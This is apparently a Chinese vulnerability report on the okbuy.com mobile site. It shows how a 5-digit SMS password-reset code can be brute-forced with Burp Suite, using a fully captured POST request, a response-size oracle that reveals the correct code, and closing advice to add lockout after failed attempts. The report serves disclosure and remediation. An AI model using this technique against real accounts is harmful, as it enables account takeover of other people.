1.是好乐买的手机版,进入手机版好乐买的账号登陆页面:
http://www.okbuy.com/topic/show/521
当然我们这里不登陆,而是点击【忘记密码?】按钮,进入密码重置流程:
2.注册过的用户都得用手机验证,才能用手机号进行密码找回,从提示也能看出来。
填写需要重置的账号,即验证的手机号码,由于只是测试漏洞存在,这里只用了我自己的账号:
3.点击提交,此时已经给我的手机号发送了重置密码的短信验证码了。
4.查看手机收到的短信码为【38330】,我首先输入任意的5位纯数字短信码38331,点击提交,则返回如下错误,记得此时设置好浏览器代理:
5.同时,看到的抓包请求为:
POST /member/getpwdok HTTP/1.1
Host: m.okbuy.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://m.okbuy.com/member/getpwd?mobile=150********&sid=********21a761359440142~sjbjsy_1&ref_1=&ref_2=&ref_3=&httprefer=http://m.okbuy.com&ref_1=&ref_2=&ref_3=
Cookie: OK_SES=1358728501246_74201451; ********; obsid=**********7g83ncmfkdojc9c4
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 109
username=150********&code=§38331§&pwd=******&sid=********21a761359440142%7Esjbjsy_1&ref_1=&ref_2=&ref_3=&step=1
上面的参数code=38331为短信码,而参数username=150********为手机号码。
6.写了那么多,开始吧:设置好参数code为需要爆破的参数,开始暴力猜测,这里由于是测试我从37330开始:
7.通过返回的字节数或者返回的内容得出正确的短信码:
短信码错误时,返回的字节数为5947,而短信码正确时字节数为529,很明显啦!
8.那么使用爆破完的短信码重置账号吧!
9.成功重置密码:
修复方案:
1.这里5位纯数字短信码的爆破,即平均1万次的请求,我使用了burpsuite测试单台机器100线程,5分钟不到即可重置任意一个手机账号!危险啊
2.短信码可以为5位纯数字;可以不设置图片验证码;甚至可以不用设置短信码的10分钟有效期。但是为什么不设置连续几次尝试失败就锁定本次密码重置的请求呢?